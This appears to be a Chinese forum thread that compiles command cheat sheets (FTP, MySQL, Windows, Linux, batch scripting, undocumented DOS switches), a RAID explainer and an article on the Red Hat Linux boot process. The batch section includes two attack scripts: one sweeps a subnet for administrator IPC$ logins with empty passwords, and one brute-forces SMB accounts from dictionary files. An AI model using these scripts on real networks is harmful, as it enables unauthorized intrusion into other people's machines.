dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database 库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0 立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。

Linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）

附：批处理命令与变量

1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use $">\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关

IN (set)：指在(set)中取值；DO command ：指执行command

参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。
用法举例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。









DOS未公開用法

DOS系統中有許多未公開的命令與參數。我經過收集整理，發現了很多。由於DOS的有好幾種，
所以下面僅以MS-DOS為例，介紹一下常用命令中的未公開的命令與參數。經過比較，
我發現在MS-DOS的各版本中，7.x版中的未公開命令與參數是最多的，
這些7.x版本中的未公開命令與參數在其它DOS版本中通常是沒有的，但卻是非常實用的，例如COMMAND /Z命令，
這是用DOS自帶的命令顯示ERRORLEVEL（錯誤返回代碼）值的唯一方法（當然，用其它的附加工具，
如ERR2ENV等也可以做到）。

DOS未公開命令：

TRUENAME：用於顯示實際的路徑，對SUBST等命令很有用。
INSTALLHIGH：用在CONFIG.SYS中，將文件調入UMB。
LOGO和COMMENT：僅用在DOS7中的CONFIG.SYS中，用法未知。

DOS未公開參數：

COMMAND /F 使Fail作為Abort,Retry,Fail中的默認選項。
COMMAND /D 在DOS5中是禁止AUTOEXEC.BAT自動執行；在6.0+版本中是禁止/F參數。
COMMAND /Z 顯示ERRORLEVEL（錯誤返回代碼）信息。
COMMAND /T 在DOS7.x中強制將COMMAND.COM永久性調入常規內存。

FORMAT /AUTOTEST 自動完成格式化過程。
FORMAT /BACKUP 自動完成格式化過程，並提示輸入卷標。
FORMAT /SELECT 只在磁盤上備份系統區數據，相當於MIRROR程序。
FORMAT /SELECT /U 將引導區和文件分配表用F6H填之。
FORMAT /Z:n 設置FAT32分區上的簇大小。

FDISK /MBR 重寫硬盤主引導記錄。
FDISK /CMBR drive 重寫指定驅動器上的主引導記錄。
FDISK /PRI:size 創建主分區。
FDISK /EXT:size 創建擴展分區。
FDISK /LOG:size 在擴展分區上創建邏輯驅動器。
FDISK /PRMT|/Q 提示行動/安靜模式。
FDISK /PARTN 將分區表信息保存到PARTSAV.FIL中。
FDISK /ACTOK 用於DOS7中，跳過完整性測試。
FDISK /FPRMT 用於DOS7中，自動採用FAT32，並跳過提示信息。

DOSKEY /APPEDIT 使DOSKEY也應用於其它程序（如DEBUG等）中。
DOSKEY /COMMAND和/PERMANENT和/SCRSIZE和/XHISTORY 用法未知。

SCANDISK /CLIP 用於DOS7中，將長文件名剪為短文件名。
SCANDISK /NOLOST 用於DOS7中，不提示表面測試或丟失簇。
SCANDISK /NOUI和/TEXT 用於DOS7中，使用標準的DOS界面。
SCANDISK /MOUNT 相當於SCANDISK.INI中的Mount=Always。
SCANDISK /TIME 相當於SCANDISK.INI中的ScanTimeOut=On。

QBASIC /QHELP 進入DOS6的全屏幕幫助系統，相當於執行HELP命令。
QBASIC /EDCOM 進入DOS6的文件編輯器，相當於執行EDIT命令。

MEM /A或MEM /ALL 顯示HMA信息。

VER /R 顯示擴展的版本信息。

DIR /Z 用於DOS7中，表示不顯示長文件名。

DOS=SINGLE 用在DOS7中的CONFIG.SYS中，啟動單一模式的DOS。

DEVICE=HIMEM.SYS /Q 當HIMEM.SYS加載時使用安靜模式。

DEVICE=EMM386.EXE NOTR 不要檢測Token Ring網絡適配器。

DOS未公開用法：

IF EXIST XMMXXXX0 ... 此命令可以判斷當前是否安裝了HIMEM.SYS驅動程序。
IF EXIST EMMXXXX0 ... 此命令則用來判斷當前是否安裝了EMM386驅動程序。

DIR , 用在DOS7以前的版中中，顯示所有文件，相當於DIR /A。

:: 此符號可在批處理文件中代替REM註解命令，可以加快運行速度。

以上是MS-DOS中的未公開命令與參數，其中有些是非常實用的，大家不妨一試。

黑洞

硬盘阵列（RAID）技术详解

对于硬盘的历史发展来说，还有各种硬盘的附加技术，如硬盘数据保护技术和防震技术，以及降噪技术，它们也随着硬盘的发展而不断更新，但一般而言，不同硬盘厂商都有自己的一套硬盘保护技术，如昆腾的数据保护系统DPS、震动保护系统SPS；迈拓的数据保护系统MaxSafe、震动保护系统ShockBlock；西部数据公司的数据保护系统Data SafeGuide（数据卫士）等等。这些保护技术都是在原有技术的基础上推出第二代、第三代……等技术。

　　此外硬盘的数据缓存也随着硬盘的不断发展而不断增大，早期IDE硬盘的数据缓存只有128KB甚至更小，而那时2MB的数据的只能在高端的SCSI硬盘上看到。当然随着存储技术及高速存储器价格的降低，IDE硬盘的数据缓存增加到了256KB，而接下来就是512KB了，目前主流的IDE硬盘数据缓存则为2MB或8M。

　　接下来，让我们一起关注RAID（磁盘阵列）。

　　RAID的英文全称为：Redundant Array of Independent Disks。翻译成中文即为独立磁盘冗余阵列，或简称磁盘阵列。由美国加州大学在1987年开发成功。

　　RAID的初衷主要是为大型服务器提供高端的存储功能和冗余的数据安全。 我们可以这样来理解，RAID是一种把多块独立的硬盘（物理硬盘）按不同方式组合起来形成一个硬盘组（逻辑硬盘），从而提供比单个硬盘更高的存储性能和提供数据冗余的技术。组成磁盘阵列的不同方式成为RAID级别（RAID Levels）。在用户看起来，组成的磁盘组就像是一个硬盘，用户可以对它进行分区，格式化等等。总之，对磁盘阵列的操作与单个硬盘一模一样。不同的是，磁盘阵列的存储性能要比单个硬盘高很多，而且在很多RAID模式中都有较为完备的相互校检/恢复的措施，甚至是直接相互的镜象备份，从而大大提高了RAID系统的容错度,提高了系统的稳定冗余性，这也是Redundant一词的由来。

　　不过，所有的RAID系统最大的优点则是“热交换”能力：用户可以取出一个存在缺陷的驱动器，并插入一个新的予以更换。对大多数类型的RAID来说，可以利用镜像或奇偶信息来从剩余的驱动器重建数据不必中断服务器或系统，就可以自动重建某个出现故障的磁盘上的数据。这一点，对服务器用户以及其他高要求的用户是至关重要的。

　　数据冗余的功能指的是：在用户数据一旦发生损坏后，利用冗余信息可以使损坏数据得以恢复，从而保障了用户数据的安全性。

　　RAID以前一直是SCSI领域独有的产品，因为它当时的技术与成本也限制了其在低端市场的发展。今天，随着RAID技术的不断成熟与厂商的不断努力，我们已经能够享受到相对成本低廉的多的IDE-RAID系统，虽然稳定与可靠性还不能与SCSI-RAID相比，但它相对于单个硬盘的性能优势对广大玩家是一个不小的诱惑。随着相关设备的拥有成本和使用成本不断下降，这项技术也已获得一般电脑用户的青睐。

　　 RAID技术是一种工业标准，下面我们就一起来对各主要RAID级别做一个大致的了解。

　　 RAID 0

　　 RAID 0又称为Stripe或Striping，中译为集带工作方式。它代表了所有RAID级别中最高的存储性能。RAID 0提高存储性能的原理是把连续的数据分散到多个磁盘上存取。系统传输来的数据，经过RAID控制器通常是平均分配到几个磁盘中，而这一切对于系统来说是完全不用干预的，每个磁盘执行属于它自己的那部分数据请求。这样，系统有数据请求就可以被多个磁盘并行的执行。这种数据上的并行操作可以充分利用总线的带宽，显著提高磁盘整体存取性能。我们可以这样简单的认为：N个硬盘是一个容量为N个硬盘容量之和的“大”硬盘。RAID0的主要工作目的是获得更大的“单个”磁盘容量。另一方面就是多个硬盘同时读取，从而获得更高的存取速度。例如一个由两个硬盘组成的Raid系统中，系统向两个磁盘组成的逻辑硬盘（RADI 0 磁盘组）发出的I/O数据请求被转化为2项操作，其中的每一项操作都对应于一块物理硬盘。通过建立RAID 0，原先顺序的数据请求被分散到所有的两块硬盘中同时执行。从理论上讲，两块硬盘的并行操作使同一时间内磁盘读写速度提升了2倍。虽然由于总线带宽等多种因素的影响，实际的提升速率肯定会低于理论值。但是，大量数据并行传输与串行传输比较，提速效果还是非常明显的。

　　RAID 0最大的缺点是不提供数据冗余，其安全性大大降低，构成阵列的任何一块硬盘的损坏都将带来灾难性的数据损失。

　　RAID 0具有的特点，使其不适用于关键任务环境，但是，它却非常适合于特别适用于对性能要求较高的视频生产和编辑或图像编辑领域。对个人用户，RAID 0也是提高硬盘存储性能的绝佳选择。

　　RAID 1

　　RAID 1又称为Mirror或Mirroring，中译为镜像方式。这种工作方式的出现完全是为了数据安全考虑的，因为在整个镜像的过程中，只有一半的磁盘容量是有效的，因为另一半用来存放同这一半完全一样的数据，也就是数据的冗余了。同RAID0相比，它是另一个极端。RAID0首要考虑的是磁盘的速度和容量，忽略安全；而RAID1首要考虑的是数据的安全性，容量可以减半、速度可以不变。它的宗旨是最大限度的保证用户数据的可用性和可修复性。

　　RAID 1的操作方式是把用户写入硬盘的数据百分之百地自动复制到另外一个硬盘上。当读取数据时，系统先从RAID 0的源盘读取数据，如果读取数据成功，则系统不去管备份盘上的数据；如果读取源盘数据失败，则系统自动转而读取备份盘上的数据，不会造成用户工作任务的中断。当然，我们应当及时地更换损坏的硬盘并利用备份数据重新建立Mirror，避免备份盘在发生损坏时，造成不可挽回的数据损失。 由于对存储的数据进行百分之百的备份，在所有RAID级别中，RAID 1提供最高的数据安全保障。同样，由于数据的百分之百备份，备份数据占了总存储空间的一半，因而，Mirror的磁盘空间利用率低，存储成本高。

　　Mirror虽不能提高存储性能，但由于其具有的高数据安全性，使其尤其适用于存放重要数据，如服务器和数据库存储等领域。

　　RAID 0+1

　　正如其名字一样RAID 0+1是RAID 0和RAID 1的组合形式，也称为RAID 10。它的出现就是为了达到既高速又安全目的， RAID10也可以简单的理解成两个分别由多个磁盘组成的 RAID0阵列再进行镜像；其实反过来理解也没有错。

　　以四个磁盘组成的RAID 0+1为例，RAID 0+1是存储性能和数据安全兼顾的方案。它在提供与RAID 1一样的数据安全保障的同时，也提供了与RAID 0近似的存储性能。

　　由于RAID 0+1也通过数据的100%备份提供数据安全保障，因此RAID 0+1的磁盘空间利用率与RAID 1相同，存储成本高。

　　构建RAID 0+1阵列的成本投入大，数据空间利用率低。不是种经济高效的磁盘阵列解决方案。但特别适用于既有大量数据需要存取，同时又对数据安全性要求严格的领域，如银行、金融、商业超市、政府各种档案管理等。

　　 RAID 3

　　 RAID 3 采用的是一种较为简单的校验实现方式。将数据做XOR 运算，产生Parity Data后，在将数据和Parity Data以并行存取模式写入一个专门的存放所有校验数据的磁盘中，而在剩余的磁盘中创建带区集分散数据的读写操作。因此具备并行存取模式的优点和缺点。RAID 3所存在的最大一个不足同时也是导致RAID 3很少被人们采用的原因就是校验盘很容易成为整个系统的瓶颈。我们已经知道RAID 3会把数据的写入操作分散到多个磁盘上进行，然而不管是向哪一个数据盘写入数据，都需要同时重写校验盘中的相关信息。因此，对于那些经常需要执行大量写入操作的应用来说，校验盘的负载将会很大，无法满足程序的运行速度，从而导致整个RAID系统性能的下降。RAID 3的并行存取模式，需要RAID 控制器特别功能的支持，才能达到磁盘驱动器同步控制，而且上述写入性能的优点，以目前的Caching 技术，都可以将其取而代之，因此一般认为RAID 3的应用，将逐渐淡出市场。　　

　　RAID 4

　　RAID 4 是采取独立存取模式，它的每一笔传输﹝Strip﹞资料较长，而且可以执行Overlapped I/O，因此其读取的性能很好。但是由于使用单一专属的Parity Disk 来存放Parity Data，因此每次写操作都需要访问奇偶盘，就会造成系统很大的瓶颈。RAID 4在商业应用中很少使用.

　　RAID 5

　　RAID 5 是一种存储性能、数据安全和存储成本兼顾的存储解决方案。

　　RAID 5也是目前应用最广泛的RAID技术。各块独立硬盘进行条带化分割，相同的条带区进行奇偶校验（异或运算），校验数据平均分布在每块硬盘上。以n块硬盘构建的RAID 5阵列可以有n－1块硬盘的容量，存储空间利用率非常高。RAID 5不对存储的数据进行备份，而是把数据和相对应的奇偶校验信息存储到组成RAID5的各个磁盘上，并且奇偶校验信息和相对应的数据分别存储于不同的磁盘上。当RAID5的任何一块硬盘上的数据丢失，均可以通过校验数据推算出来它和RAI D 3最大的区别在于校验数据是否平均分布到各块硬盘上。RAID 5具有数据安全、读写速度快，空间利用率高等优点，应用非常广泛，但不足之处是如果1块硬盘出现故障以后，整个系统的性能将大大降低。RAID 5可以为系统提供数据安全保障，但保障程度要比Mirror低而磁盘空间利用率要比Mirror高。RAID 5具有和RAID 0相近似的数据读取速度，只是多了一个奇偶校验信息，写入数据的速度比对单个磁盘进行写入操作稍慢。同时由于多个数据对应一个奇偶校验信息，RAID 5的磁盘空间利用率要比RAID 1高，存储成本相对较低。

　　RAID 5模式适合多人多任务的存取频繁，数据量不是很大的环境，例如企业档案服务器、WEB 服务器、在线交易系统、电子商务等等。

　　RAID 6

　　RAID 6 与RAID 5相比，增加了第二个独立的奇偶校验信息块。两个独立的奇偶系统使用不同的算法，数据的可靠性非常高。即使两块磁盘同时失效，也不会影响数据的使用。但需要分配给奇偶校验信息更大的磁盘空间，相对于RAID 5有更大的“写损失”。RAID 6 的写性能非常差，较差的性能和复杂的实施使得RAID 6很少使用。

没有说话

:-') 洞洞疯了

没有说话

8-) 这个好用，我这几天在学dos。。。。

没有说话

:( 不适合菜鸟阅读

没有说话

:O 我没有刻录完成后的的数据验证。。。

没有说话

:( 有没有简单明了通俗易懂的啊的啊

没有说话

:( 洞洞肯定看了我的帖子后去兆的

没有说话

:@ 对于这些我一项不懂

没有说话

:( 同你的签名

黑洞

泡了一上午的技术论坛找来的......

没有说话

:( 如果在可信赖的网站下的，这个应该就表去鸟了吧？

黑洞

Linux系统启动过程






本文以RedHat9.0和i386平台为例，剖析了从用户打开电源直到屏幕出现命令行提示符的整个Linux启动过程。并且介绍了启动中涉及到的各种文件。
　　阅读Linux源代码，无疑是深入学习Linux的最好方法。在本文对Linux启动过程的介绍中，我们也尝试从源代码的视角来更深入的剖析Linux 的启动过程，所以其中也简单涉及到部分相关的Linux源代码，Linux启动这部分的源码主要使用的是C语言，也涉及到了少量的汇编。而启动过程中也执行了大量的shell(主要是bash shell)所写脚本。为了方便读者阅读，笔者将整个Linux启动过程分成以下几个部分逐一介绍：
　　当用户打开PC 的电源，BIOS开机自检，按BIOS中设置的启动设备(通常是硬盘)启动，接着启动设备上安装的引导程序lilo或grub开始引导Linux， Linux首先进行内核的引导，接下来执行init程序，init程序调用了rc.sysinit和rc等程序，rc.sysinit和rc当完成系统初始化和运行服务的任务后，返回init；init启动了mingetty后，打开了终端供用户登录系统，用户登录成功后进入了Shell，这样就完成了从开机到登录的整个启动过程。
下面就将逐一介绍其中几个关键的部分：
　　第一部分：内核的引导(核内引导)
　　Red Hat9.0可以使用lilo或grub等引导程序开始引导Linux系统，当引导程序成功完成引导任务后，Linux从它们手中接管了CPU的控制权，然后CPU就开始执行Linux的核心映象代码，开始了Linux启动过程。这里使用了几个汇编程序来引导Linux，这一步泛及到Linux源代码树中的“arch/i386/boot”下的这几个文件：bootsect.S、setup.S、video.S等。
　　其中 bootsect.S是生成引导扇区的汇编源码，它完成加载动作后直接跳转到setup.S的程序入口。setup.S的主要功能就是将系统参数（包括内存、磁盘等，由BIOS返回）拷贝到特别内存中，以便以后这些参数被保护模式下的代码来读取。此外，setup.S还将video.S中的代码包含进来，检测和设置显示器和显示模式。最后，setup.S将系统转换到保护模式，并跳转到 0x100000。
　　那么0x100000这个内存地址中存放的是什么代码？而这些代码又是从何而来的呢？
　　0x100000这个内存地址存放的是解压后的内核，因为Red Hat提供的内核包含了众多驱动和功能而显得比较大，所以在内核编译中使用了“makebzImage”方式，从而生成压缩过的内核，在RedHat中内核常常被命名为vmlinuz，在Linux的最初引导过程中，是通过"arch/i386/boot/compressed/"中的head.S利用 misc.c中定义的decompress_kernel()函数，将内核vmlinuz解压到0x100000的。
　　当CPU跳到 0x100000时，将执行"arch/i386/kernel/head.S"中startup_32，它也是vmlinux的入口，然后就跳转到 start_kernel()中去了。start_kernel()是"init/main.c"中的定义的函数，start_kernel()中调用了一系列初始化函数，以完成kernel本身的设置。start_kernel()函数中，做了大量的工作来建立基本的Linux核心环境。如果顺利执行完 start_kernel()，则基本的Linux核心环境已经建立起来了。
　　在start_kernel()的最后，通过调用init ()函数，系统创建第一个核心线程，启动了init过程。而核心线程init()主要是来进行一些外设初始化的工作的，包括调用 do_basic_setup()完成外设及其驱动程序的加载和初始化。并完成文件系统初始化和root文件系统的安装。
　　当 do_basic_setup()函数返回init()，init()又打开了/dev/console设备，重定向三个标准的输入输出文件stdin、 stdout和stderr到控制台，最后，搜索文件系统中的init程序（或者由init=命令行参数指定的程序），并使用 execve()系统调用加载执行init程序。到此init()函数结束，内核的引导部分也到此结束了。
第二部分：运行init
　　init的进程号是1，从这一点就能看出，init进程是系统所有进程的起点，Linux在完成核内引导以后，就开始运行init程序，。init程序需要读取配置文件/etc/inittab。inittab是一个不可执行的文本文件，它有若干行指令所组成。在Redhat系统中，inittab的内容如下所示(以“###"开始的中注释为笔者增加的)：
　　#
　　# inittab This file describes how the INIT process should set up
　　# the system in a certain run-level.
　　#
　　# Author: Miquel van Smoorenburg,  
　　# Modified for RHS Linux by Marc Ewing and Donnie Barnes
　　#
　　# Default runlevel. The runlevels used by RHS are:
　　# 0 - halt (Do NOT set initdefault to this)
　　# 1 - Single user mode
　　# 2 - Multiuser, without NFS (The same as 3, if you do not havenetworking)
　　# 3 - Full multiuser mode
　　# 4 - unused
　　# 5 - X11
　　# 6 - reboot (Do NOT set initdefault to this)
　　#
　　###表示当前缺省运行级别为5(initdefault)；
　　id:5:initdefault:
　　###启动时自动执行/etc/rc.d/rc.sysinit脚本(sysinit)
　　# System
initialization.
　　si::sysinit:/etc/rc.d/rc.sysinit
　　l0:0:wait:/etc/rc.d/rc 0
　　l1:1:wait:/etc/rc.d/rc 1
　　l2:2:wait:/etc/rc.d/rc 2
　　l3:3:wait:/etc/rc.d/rc 3
　　l4:4:wait:/etc/rc.d/rc 4
　　###当运行级别为5时，以5为参数运行/etc/rc.d/rc脚本，init将等待其返回(wait)
　　l5:5:wait:/etc/rc.d/rc 5
　　l6:6:wait:/etc/rc.d/rc 6
　　###在启动过程中允许按CTRL-ALT-DELETE重启系统
　　# Trap CTRL-ALT-DELETE
　　ca::ctrlaltdel:/sbin/shutdown -t3 -r now
　　# When our UPS tells us
power has failed, assume we have a few minutes
　　# of power left. Schedule a
shutdown for 2 minutes from now.
　　# This does, of course, assume you have
powerd installed and your
　　# UPS connected and working correctly.
　　pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting
Down"
　　# If power was restored before the shutdown kicked in, cancel
it.
　　pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown
Cancelled"
　　###在2、3、4、5级别上以ttyX为参数执行/sbin/mingetty程序，打开ttyX终端用于用户登录，
　　###如果进程退出则再次运行mingetty程序(respawn)
　　# Run gettys in standard runlevels
　　1:2345:respawn:/sbin/mingetty tty1
　　2:2345:respawn:/sbin/mingetty
tty2
　　3:2345:respawn:/sbin/mingetty tty3
　　4:2345:respawn:/sbin/mingetty tty4
　　5:2345:respawn:/sbin/mingetty
tty5
　　6:2345:respawn:/sbin/mingetty tty6
　　###在5级别上运行xdm程序，提供xdm图形方式登录界面，并在退出时重新执行(respawn)
　　# Run xdm in
runlevel 5
　　x:5:respawn:/etc/X11/prefdm -nodaemon
　以上面的inittab文件为例，来说明一下inittab的格式。其中以#开始的行是注释行，除了注释行之外，每一行都有以下格式：
　　id:runlevel:action:process
　　对上面各项的详细解释如下：
　　1. id
　　id是指入口标识符，它是一个字符串，对于getty或mingetty等其他login程序项，要求id与tty的编号相同，否则getty程序将不能正常工作。
　　2. runlevel
　　runlevel是init所处于的运行级别的标识，一般使用0－6以及S或s。0、1、6运行级别被系统保留：其中0作为shutdown动作，1作为重启至单用户模式，6为重启；S和s意义相同，表示单用户模式，且无需inittab文件，因此也不在inittab中出现，实际上，进入单用户模式时，init直接在控制台（/dev/console）上运行/sbin/sulogin。在一般的系统实现中，都使用了2、3、4、5几个级别，在
Redhat系统中，2表示无NFS支持的多用户模式，3表示完全多用户模式（也是最常用的级别），4保留给用户自定义，5表示XDM图形登录方式。7－
9级别也是可以使用的，传统的Unix系统没有定义这几个级别。runlevel可以是并列的多个值，以匹配多个运行级别，对大多数action来说，仅当runlevel与当前运行级别匹配成功才会执行。
　　3. action
　　action是描述其后的process的运行方式的。action可取的值包括：initdefault、sysinit、boot、bootwait等：
　　initdefault是一个特殊的action值，用于标识缺省的启动级别；当init由核心激活以后，它将读取inittab中的
initdefault项，取得其中的runlevel，并作为当前的运行级别。如果没有inittab文件，或者其中没有initdefault项，
init将在控制台上请求输入runlevel。
　　sysinit、boot、bootwait等action将在系统启动时无条件运行，而忽略其中的runlevel。
　　其余的action（不含initdefault）都与某个runlevel相关。各个action的定义在inittab的man手册中有详细的描述。
　　4. process
　　process为具体的执行程序。程序后面可以带参数。
　　第三部分：系统初始化
　　在init的配置文件中有这么一行：
　　si::sysinit:/etc/rc.d/rc.sysinit
　　它调用执行了/etc/rc.d/rc.sysinit，而rc.sysinit是一个bash
shell的脚本，它主要是完成一些系统初始化的工作，rc.sysinit是每一个运行级别都要首先运行的重要脚本。它主要完成的工作有：激活交换分区，检查磁盘，加载硬件模块以及其它一些需要优先执行任务。
　　rc.sysinit约有850多行，但是每个单一的功能还是比较简单，而且带有注释，建议有兴趣的用户可以自行阅读自己机器上的该文件，以了解系统初始化所详细情况。由于此文件较长，所以不在本文中列出来，也不做具体的介绍。
　　当rc.sysinit程序执行完毕后，将返回init继续下一步。
第四部分：启动对应运行级别的守护进程
　　在rc.sysinit执行后，将返回init继续其它的动作，通常接下来会执行到/etc/rc.d/rc程序。以运行级别3为例，init将执行配置文件inittab中的以下这行：
　　l5:5:wait:/etc/rc.d/rc 5
　　这一行表示以5为参数运行/etc/rc.d/rc，/etc/rc.d/rc是一个Shell脚本，它接受5作为参数，去执行
/etc/rc.d/rc5.d/目录下的所有的rc启动脚本，/etc/rc.d/rc5.d/目录中的这些启动脚本实际上都是一些链接文件，而不是真正的rc启动脚本，真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法，它们一般能接受
start、stop、restart、status等参数。
　　/etc/rc.d/rc5.d/中的rc启动脚本通常是K或S开头的链接文件，对于以以S开头的启动脚本，将以start参数来运行。而如果发现存在相应的脚本也存在K打头的链接，而且已经处于运行态了(以
/var/lock/subsys/下的文件作为标志)，则将首先以stop为参数停止这些已经启动了的守护进程，然后再重新运行。这样做是为了保证是当
init改变运行级别时，所有相关的守护进程都将重启。
　　至于在每个运行级中将运行哪些守护进程，用户可以通过chkconfig或setup中的"System
Services"来自行设定。常见的守护进程有：
　　amd：自动安装NFS守护进程
　　apmd:高级电源管理守护进程
　　arpwatch：记录日志并构建一个在LAN接口上看到的以太网地址和IP地址对数据库
　　autofs：自动安装管理进程automount，与NFS相关，依赖于NIS
　　crond：Linux下的计划任务的守护进程
　　named：DNS服务器
　　netfs：安装NFS、Samba和NetWare网络文件系统
　　network：激活已配置网络接口的脚本程序
　　nfs：打开NFS服务
　　portmap：RPC
portmap管理器，它管理基于RPC服务的连接
　　sendmail：邮件服务器sendmail
　　smb：Samba文件共享/打印服务
　　syslog：一个让系统引导时起动syslog和klogd系统日志守候进程的脚本
　　xfs：X
Window字型服务器，为本地和远程X服务器提供字型集
　　Xinetd：支持多种网络服务的核心守护进程，可以管理wuftp、sshd、telnet等服务
　　这些守护进程也启动完成了，rc程序也就执行完了，然后又将返回init继续下一步。
第五部分：建立终端
　　rc执行完毕后，返回init。这时基本系统环境已经设置好了，各种守护进程也已经启动了。init接下来会打开6个终端，以便用户登录系统。通过按Alt+Fn(n对应1-6)可以在这6个终端中切换。在inittab中的以下6行就是定义了6个终端：
　　1:2345:respawn:/sbin/mingetty tty1
　　2:2345:respawn:/sbin/mingetty
tty2
　　3:2345:respawn:/sbin/mingetty tty3
　　4:2345:respawn:/sbin/mingetty tty4
　　5:2345:respawn:/sbin/mingetty
tty5
　　6:2345:respawn:/sbin/mingetty tty6
　　从上面可以看出在2、3、4、5的运行级别中都将以respawn方式运行mingetty程序，mingetty程序能打开终端、设置模式。同时它会显示一个文本登录界面，这个界面就是我们经常看到的登录界面，在这个登录界面中会提示用户输入用户名，而用户输入的用户将作为参数传给login程序来验证用户的身份。
　　第六部分：登录系统，启动完成
　　对于运行级别为5的图形方式用户来说，他们的登录是通过一个图形化的登录界面。登录成功后可以直接进入KDE、Gnome等窗口管理器。而本文主要讲的还是文本方式登录的情况：
　　当我们看到mingetty的登录界面时，我们就可以输入用户名和密码来登录系统了。
